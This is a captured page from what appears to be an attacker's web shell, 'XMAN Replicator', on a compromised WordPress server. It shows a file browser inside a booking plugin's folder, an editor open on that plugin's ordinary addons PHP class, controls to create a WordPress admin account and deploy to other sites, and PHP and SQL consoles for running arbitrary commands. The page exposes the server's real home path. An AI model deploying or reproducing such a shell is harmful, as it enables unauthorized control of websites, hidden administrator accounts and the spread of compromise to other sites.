🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
home
/
rlinfolily
/
www
/
wp-content
/
plugins
/
dopbsp
/
includes
/
addons
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwx---r-x
2015-09-08 18:29
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwx---r-x
2015-09-08 18:32
🔄
🗑️
🗑️📁
⬇️
🔒
class-backend-addons.php
2,249 B
-rw----r--
2015-09-08 18:29
✏️
🔄
🗑️
⬇️
🔒
Edit: class-backend-addons.php
<?php /* * Title : Booking System Pro (WordPress Plugin) * Version : 2.0 * File : includes/addons/class-backend-addons.php * File Version : 1.0.1 * Created / Last Modified : 16 January 2015 * Author : Dot on Paper * Copyright : © 2012 Dot on Paper * Website : http://www.dotonpaper.net * Description : Booking System PRO back end addons PHP class. */ if (!class_exists('DOPBSPBackEndAddons')){ class DOPBSPBackEndAddons extends DOPBSPBackEnd{ /* * Constructor */ function DOPBSPBackEndAddons(){ } /* * Prints out the addons page. * * @return HTML page */ function view(){ global $DOPBSP; $DOPBSP->views->backend_addons->template(); } /* * Display addons. */ function display(){ global $DOPBSP; if (function_exists('curl_init')) { $json = $this->file_get_contents_curl('http://wordpressbooking.systems/api/?data=addons'); } else { $json = file_get_contents('http://wordpressbooking.systems/api/?data=addons'); } if ($json === false){ echo 'error'; } else{ $addons = json_decode($json); $DOPBSP->views->backend_addons_filters->template(array('addons' => $addons)); echo ';;;;;;;'; $DOPBSP->views->backend_addons_list->template(array('addons' => $addons)); } die(); } function file_get_contents_curl($url){ curl_setopt($ch=curl_init(), CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $response = curl_exec($ch); curl_close($ch); return $response; } } }
Save
PHP Console
Execute
SQL Console
Execute